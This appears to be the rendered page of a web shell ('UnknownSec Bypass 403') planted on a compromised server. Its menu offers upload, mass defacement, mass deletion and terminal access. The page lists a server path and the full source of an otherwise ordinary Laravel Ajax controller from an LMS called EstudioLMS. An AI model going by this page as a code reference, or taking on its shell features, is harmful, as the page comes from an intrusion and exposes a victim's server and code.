UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_67f94977db78
/
app
/
Http
/
Controllers
/
Ajax
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
AjaxController.php
<?php namespace EstudioLMS\Http\Controllers\Ajax; use Carbon\Carbon; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Http\Requests; use EstudioLMS\Models\Statistic\Login; use EstudioLMS\Repositories\Courses\Course\CourseResourceRepository; use EstudioLMS\Repositories\Courses\Course\LessonRepository; use EstudioLMS\Repositories\Courses\Resources\QuizQuestionInterface; use Illuminate\Http\Request; use Symfony\Component\HttpFoundation\Session\SessionInterface; /** * Class AjaxController * @package EstudioLMS\Http\Controllers\Ajax */ class AjaxController extends Controller { /** * @var LessonRepository */ private $lessonRepository; /** * @var CourseResourceRepository */ private $courseResourceRepository; /** * @var QuizQuestionInterface */ private $quizQuestionRepository; /** * @var SessionInterface */ private $session; /** * @param LessonRepository $lessonRepository * @param CourseResourceRepository $courseResourceRepository * @param QuizQuestionInterface $quizQuestionRepository * @param SessionInterface $session */ public function __construct( LessonRepository $lessonRepository, CourseResourceRepository $courseResourceRepository, QuizQuestionInterface $quizQuestionRepository, SessionInterface $session ) { $this->lessonRepository = $lessonRepository; $this->courseResourceRepository = $courseResourceRepository; $this->quizQuestionRepository = $quizQuestionRepository; $this->session = $session; } /** * @param Request $request * @return string */ public function generateSlug(Request $request) { $title = str_replace('.', '-', $request['text']); $slug = str_slug($title, '-'); return $slug; } /** * @param Request $request */ public function reorderLesson(Request $request) { $resources = $request->all(); $resources = json_decode($resources['resources'], true); foreach ($resources as $resource) { $this->courseResourceRepository->maintainCourseResource($resource); } } public function reorderQuestion(Request $request) { $data = $request->all(); $data = json_decode($data['questions'], true); foreach ($data as $key => $question) { $this->quizQuestionRepository->update([ 'position' => $question['position'] ], $question['id'] ); } } public function accessTime(Request $request) { $elapsed = 0; if (\Auth::check()) { $record = Login::where('login_token', '=', $this->session->get('login_token')) ->first(); if ($record) { $start = new Carbon($record['start']); $end = Carbon::now(); $elapsed = $end->diffInMinutes($start); $record->fill([ 'end' => $end->toDateTimeString(), 'elapsed_minutes' => $elapsed ]); $record->save(); } else { $start = new Carbon($this->session->get('start_time')); $end = Carbon::now(); $elapsed = $end->diffInMinutes($start); Login::create( [ 'login_token' => $this->session->get('login_token'), 'user_id' => \Auth::user()->id, 'role_id' => \Auth::user()->roles()->first()->id, 'start' => $start->toDateTimeString(), 'end' => $end->toDateTimeString(), 'elapsed_minutes' => $elapsed ] ); } } return $elapsed; } }
Copyright © 2026 - UnknownSec